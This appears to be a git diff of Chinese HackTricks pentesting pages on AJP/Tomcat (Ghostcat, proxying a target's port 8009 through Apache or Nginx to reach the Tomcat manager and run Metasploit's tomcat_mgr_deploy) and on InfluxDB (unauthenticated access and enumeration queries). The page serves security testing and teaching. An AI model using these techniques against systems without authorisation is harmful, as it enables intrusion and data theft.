||||
|
||||
**即时获得奖励**\
|
||||
只有在客户存入奖励预算后,HackenProof才会启动赏金。在漏洞验证后,您将获得奖励。
|
||||
**黑客见解**\
|
||||
深入探讨黑客活动的刺激和挑战
|
||||
|
||||
**在web3渗透测试中积累经验**\
|
||||
区块链协议和智能合约是新的互联网!在其兴起之时掌握web3安全。
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解了解快节奏的黑客世界
|
||||
|
||||
**成为web3黑客传奇**\
|
||||
每次验证的漏洞都会增加声誉积分,征服每周排行榜的顶端。
|
||||
**最新公告**\
|
||||
了解最新的赏金计划发布和重要平台更新
|
||||
|
||||
[**在HackenProof上注册**](https://hackenproof.com/register)并从您的黑客攻击中获利!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,113 +1,77 @@
|
|||
# 8009 - 渗透测试Apache JServ协议(AJP)
|
||||
# 8009 - 渗透测试 Apache JServ 协议 (AJP)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof是所有加密漏洞赏金的家园。**
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**无需等待即可获得奖励**\
|
||||
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**在web3渗透测试中积累经验**\
|
||||
区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**成为web3黑客传奇**\
|
||||
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
|
||||
**最新公告**\
|
||||
随时了解最新的赏金任务发布和重要平台更新
|
||||
|
||||
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
## 基本信息
|
||||
|
||||
来源:[https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
|
||||
|
||||
> AJP是一种传输协议。它是HTTP协议的优化版本,允许独立的Web服务器(如[Apache](http://httpd.apache.org/))与Tomcat进行通信。从历史上看,Apache在提供静态内容方面比Tomcat快得多。这个想法是让Apache在可能的情况下提供静态内容,但将与Tomcat相关的内容代理到Tomcat。
|
||||
> AJP 是一种线路协议。它是 HTTP 协议的优化版本,允许独立的 Web 服务器(如 [Apache](http://httpd.apache.org/))与 Tomcat 进行通信。从历史上看,Apache 在提供静态内容方面比 Tomcat 快得多。其想法是让 Apache 在可能的情况下提供静态内容,但将请求代理到 Tomcat 处理与 Tomcat 相关的内容。
|
||||
|
||||
还有趣的是:
|
||||
还有有趣的信息:
|
||||
|
||||
> ajp13协议是面向数据包的。出于性能原因,二进制格式可能是为了选择比更易读的纯文本。Web服务器通过TCP连接与Servlet容器通信。为了减少昂贵的套接字创建过程,Web服务器将尝试维护与Servlet容器的持久TCP连接,并重用连接进行多个请求/响应周期。
|
||||
> ajp13 协议是基于数据包的。出于性能考虑,二进制格式显然优于更易读的纯文本。Web 服务器通过 TCP 连接与 Servlet 容器通信。为了减少昂贵的套接字创建过程,Web 服务器将尝试维护持久的 TCP 连接到 Servlet 容器,并重用连接进行多个请求/响应周期
|
||||
|
||||
**默认端口:**8009
|
||||
**默认端口:** 8009
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
8009/tcp open ajp13
|
||||
```
|
||||
## CVE-2020-1938 ['Ghostcat'](https://www.chaitin.cn/en/ghostcat)
|
||||
|
||||
如果AJP端口暴露,Tomcat可能会受到Ghostcat漏洞的影响。这是一个与此问题配套的[利用工具](https://www.exploit-db.com/exploits/48143)。
|
||||
如果AJP端口暴露,Tomcat可能会受到Ghostcat漏洞的影响。这里有一个[exploit](https://www.exploit-db.com/exploits/48143)可用于利用此问题。
|
||||
|
||||
Ghostcat是一种LFI漏洞,但受到一定限制:只能获取特定路径下的文件。尽管如此,这可能包括像`WEB-INF/web.xml`这样的文件,根据服务器设置,这些文件可能会泄露重要信息,如Tomcat接口的凭据。
|
||||
Ghostcat是一个LFI漏洞,但受到一定限制:只能提取特定路径下的文件。尽管如此,这可能包括像`WEB-INF/web.xml`这样的文件,根据服务器设置,这些文件可能泄露像Tomcat接口凭据这样的重要信息。
|
||||
|
||||
修复此问题的版本为9.0.31及以上、8.5.51及以上和7.0.100及以上。
|
||||
修补版本为9.0.31或更高版本,8.5.51和7.0.100已解决了此问题。
|
||||
|
||||
## 枚举
|
||||
|
||||
### 自动化枚举
|
||||
### 自动化
|
||||
```bash
|
||||
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
|
||||
```
|
||||
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#ajp)
|
||||
|
||||
## AJP代理
|
||||
## AJP 代理
|
||||
|
||||
### Apache AJP代理
|
||||
### Nginx 反向代理 & AJP
|
||||
|
||||
很少遇到只有8009端口开放而没有其他Web端口开放的情况。在这种情况下,使用现有的工具如metasploit仍然可以控制它,是不是很好?正如引用中所述,您可以(滥用)Apache将请求代理到Tomcat的8009端口。在参考资料中,您将找到一个很好的指南,介绍了如何做到这一点(先阅读它),下面是我在自己的机器上使用的命令的概述。我省略了一些原始指令,因为它们似乎不是必要的。
|
||||
```bash
|
||||
sudo apt-get install libapache2-mod-jk
|
||||
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
||||
Include ajp.conf
|
||||
sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address
|
||||
ProxyRequests Off
|
||||
<Proxy *>
|
||||
Order deny,allow
|
||||
Deny from all
|
||||
Allow from localhost
|
||||
</Proxy>
|
||||
ProxyPass / ajp://HOST:8009/
|
||||
ProxyPassReverse / ajp://HOST:8009/
|
||||
sudo a2enmod proxy_http
|
||||
sudo a2enmod proxy_ajp
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
使用这种设置的一个好处是,你可能会阻止已经存在的IDS/IPS系统,因为AJP协议是二进制的,但我还没有验证过这一点。现在你可以将你的常规metasploit tomcat exploit指向127.0.0.1:80并接管该系统。以下是metasploit的输出:
|
||||
```bash
|
||||
msf exploit(tomcat_mgr_deploy) > show options
|
||||
[查看 Docker 化版本](#Dockerized-version)
|
||||
|
||||
Module options (exploit/multi/http/tomcat_mgr_deploy):
|
||||
当我们遇到一个开放的 AJP 代理端口(8009 TCP)时,我们可以使用 Nginx 与 `ajp_module` 来访问“隐藏”的 Tomcat 管理器。这可以通过编译 Nginx 源代码并添加所需的模块来实现,具体步骤如下:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD tomcat no The password for the specified username
|
||||
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
|
||||
Proxies no Use a proxy chain
|
||||
RHOST localhost yes The target address
|
||||
RPORT 80 yes The target port
|
||||
USERNAME tomcat no The username to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
```
|
||||
### Nginx反向代理和AJP
|
||||
|
||||
[查看Docker化版本](#Docker化版本)
|
||||
|
||||
当我们遇到一个开放的AJP代理端口(8009 TCP)时,我们可以使用带有`ajp_module`的Nginx来访问“隐藏”的Tomcat管理器。这可以通过编译Nginx源代码并添加所需的模块来实现,具体步骤如下:
|
||||
|
||||
* 下载Nginx源代码
|
||||
* 下载 Nginx 源代码
|
||||
* 下载所需的模块
|
||||
* 使用`ajp_module`编译Nginx源代码。
|
||||
* 创建一个指向AJP端口的配置文件
|
||||
* 使用 `ajp_module` 编译 Nginx 源代码。
|
||||
* 创建一个指向 AJP 端口的配置文件
|
||||
```bash
|
||||
# Download Nginx code
|
||||
wget https://nginx.org/download/nginx-1.21.3.tar.gz
|
||||
|
@ -122,7 +86,7 @@ make
|
|||
sudo make install
|
||||
nginx -V
|
||||
```
|
||||
在`/etc/nginx/conf/nginx.conf`文件中,将整个`server`块注释掉,并在`http`块内添加以下行。
|
||||
在`/etc/nginx/conf/nginx.conf`文件中的`http`块内,将整个`server`块注释掉,并添加以下行:
|
||||
```shell-session
|
||||
upstream tomcats {
|
||||
server <TARGET_SERVER>:8009;
|
||||
|
@ -136,7 +100,7 @@ ajp_pass tomcats;
|
|||
}
|
||||
}
|
||||
```
|
||||
启动Nginx并通过向本地主机发送cURL请求来检查一切是否正常运行。
|
||||
启动Nginx,并通过向本地主机发出cURL请求来检查一切是否正常工作。
|
||||
```html
|
||||
sudo nginx
|
||||
curl http://127.0.0.1:80
|
||||
|
@ -170,44 +134,7 @@ curl http://127.0.0.1:80
|
|||
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
|
||||
<SNIP>
|
||||
```
|
||||
### Docker化版本
|
||||
|
||||
The Dockerized version of Apache JServ Protocol (AJP) is a convenient way to deploy and test AJP-based applications. By containerizing the AJP server, you can easily set up and tear down testing environments without the need for manual installation and configuration.
|
||||
|
||||
To create a Dockerized version of AJP, you can use the official Apache Tomcat Docker image as a base. Apache Tomcat is a popular Java Servlet container that supports the AJP protocol.
|
||||
|
||||
Here are the steps to create a Dockerized version of AJP:
|
||||
|
||||
1. Create a Dockerfile with the following content:
|
||||
|
||||
```dockerfile
|
||||
FROM tomcat:latest
|
||||
EXPOSE 8009
|
||||
```
|
||||
|
||||
2. Build the Docker image using the following command:
|
||||
|
||||
```bash
|
||||
docker build -t ajp-server .
|
||||
```
|
||||
|
||||
3. Run the Docker container using the following command:
|
||||
|
||||
```bash
|
||||
docker run -d -p 8009:8009 --name ajp-container ajp-server
|
||||
```
|
||||
|
||||
4. Verify that the AJP server is running by accessing the following URL in your browser:
|
||||
|
||||
```
|
||||
http://localhost:8009
|
||||
```
|
||||
|
||||
If the AJP server is running correctly, you should see the default Apache Tomcat homepage.
|
||||
|
||||
You can now deploy your AJP-based applications to the Dockerized AJP server and test them in a controlled environment. Remember to properly secure your AJP server by configuring authentication and access controls to prevent unauthorized access.
|
||||
|
||||
By using Docker, you can easily replicate and distribute your AJP testing environment, making it easier to collaborate with other team members and share your findings.
|
||||
### Nginx Docker化版本
|
||||
```bash
|
||||
git clone https://github.com/ScribblerCoder/nginx-ajp-docker
|
||||
cd nginx-ajp-docker
|
||||
|
@ -217,35 +144,59 @@ cd nginx-ajp-docker
|
|||
docker build . -t nginx-ajp-proxy
|
||||
docker run -it --rm -p 80:80 nginx-ajp-proxy
|
||||
```
|
||||
## 参考资料
|
||||
### Apache AJP 代理
|
||||
|
||||
发现只有端口8009是开放的而没有其他可访问的web端口是罕见的。然而,仍然可以利用**Metasploit**来利用它。通过利用**Apache**作为代理,请求可以被重定向到端口8009上的**Tomcat**。
|
||||
```bash
|
||||
sudo apt-get install libapache2-mod-jk
|
||||
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
||||
Include ajp.conf
|
||||
sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address
|
||||
ProxyRequests Off
|
||||
<Proxy *>
|
||||
Order deny,allow
|
||||
Deny from all
|
||||
Allow from localhost
|
||||
</Proxy>
|
||||
ProxyPass / ajp://HOST:8009/
|
||||
ProxyPassReverse / ajp://HOST:8009/
|
||||
sudo a2enmod proxy_http
|
||||
sudo a2enmod proxy_ajp
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
这种设置具有绕过入侵检测和防范系统(IDS/IPS)的潜力,因为**AJP协议的二进制特性**,尽管这种能力尚未经过验证。通过将常规的Metasploit Tomcat漏洞利用指向`127.0.0.1:80`,您可以有效地控制目标系统。
|
||||
```bash
|
||||
msf exploit(tomcat_mgr_deploy) > show options
|
||||
```
|
||||
## 参考资料
|
||||
* [https://github.com/yaoweibin/nginx_ajp_module](https://github.com/yaoweibin/nginx_ajp_module)
|
||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof 是所有加密漏洞赏金的家园。**
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**即刻获得奖励**\
|
||||
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**在 web3 渗透测试中积累经验**\
|
||||
区块链协议和智能合约是新的互联网!在其兴起之时掌握 web3 安全。
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**成为 web3 黑客传奇**\
|
||||
每次验证的漏洞都会增加声誉积分,征服每周排行榜的顶端。
|
||||
**最新公告**\
|
||||
随时了解最新的赏金任务发布和重要平台更新
|
||||
|
||||
[**在 HackenProof 上注册**](https://hackenproof.com/register) 并从您的黑客攻击中获利!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的**公司广告**吗?或者您想获得**PEASS 的最新版本或下载 PDF 格式的 HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上**关注我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,34 +1,30 @@
|
|||
# 8086 - InfluxDB 渗透测试
|
||||
# 8086 - Pentesting InfluxDB
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和 **自动化工作流**,利用全球 **最先进** 的社区工具。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和**自动化工作流**,使用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 渗透测试,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
**InfluxDB** 是由 InfluxData 公司开发的开源 **时间序列数据库**(TSDB)。
|
||||
|
||||
**时间序列数据库(TSDB)** 是一种针对存储和通过时间和值的相关对提供优化的软件系统。
|
||||
|
||||
时间序列数据集与其他数据集相比 **相对较大且均匀**,通常由时间戳和相关数据组成。时间序列数据集在不同表中的数据条目之间的关系较少,不需要无限期地存储条目。时间序列数据集的独特属性意味着时间序列数据库可以在存储空间和性能方面提供 **显著的改进**。例如,由于时间序列数据的统一性,**专门的压缩算法** 可以比设计用于不太统一数据的常规压缩算法提供改进。时间序列数据库还可以 **定期删除旧数据**,而常规数据库设计为无限期存储数据。特殊的数据库索引也可以提供查询性能的提升。 (来源:[这里](https://en.wikipedia.org/wiki/Time\_series\_database))。
|
||||
**InfluxDB** 是由 InfluxData 开发的开源**时间序列数据库(TSDB)**。TSDB 专为存储和提供时间序列数据而优化,这些数据由时间戳-值对组成。与通用数据库相比,TSDB 在时间序列数据集的**存储空间**和**性能**方面提供了显著的改进。它们采用了专门的压缩算法,并可以配置为自动删除旧数据。专门的数据库索引也增强了查询性能。
|
||||
|
||||
**默认端口**:8086
|
||||
```
|
||||
|
@ -41,7 +37,7 @@ PORT STATE SERVICE VERSION
|
|||
|
||||
### 认证
|
||||
|
||||
InfluxDB可能需要认证,也可能不需要
|
||||
InfluxDB 可能需要认证,也可能不需要。
|
||||
```bash
|
||||
# Try unauthenticated
|
||||
influx -host 'host name' -port 'port #'
|
||||
|
@ -59,7 +55,7 @@ influx –username influx –password influx_pass
|
|||
|
||||
#### 显示数据库
|
||||
|
||||
找到的数据库是 _telegraf_ 和 _\_internal_(你会在任何地方找到这个)。
|
||||
找到的数据库是 `telegraf` 和 `internal`(你会在各处找到这个)。
|
||||
```bash
|
||||
> show databases
|
||||
name: databases
|
||||
|
@ -70,7 +66,7 @@ _internal
|
|||
```
|
||||
#### 显示表/测量
|
||||
|
||||
[**InfluxDB文档**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/)解释说,在InfluxDB中,**测量**可以与SQL表并行。这些**测量**的命名方式表明了它们各自内容的相关性,每个都包含与特定实体相关的数据。
|
||||
[**InfluxDB文档**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/)解释说,在InfluxDB中,**测量**可以与SQL表并行。这些**测量**的命名方式表明了它们各自内容的特点,每个都包含与特定实体相关的数据。
|
||||
```bash
|
||||
> show measurements
|
||||
name: measurements
|
||||
|
@ -136,15 +132,15 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
|
|||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
|
||||
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流程**,由世界上**最先进的**社区工具驱动。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,62 +1,65 @@
|
|||
# 8089 - Splunkd渗透测试
|
||||
# 8089 - 渗透测试 Splunkd
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
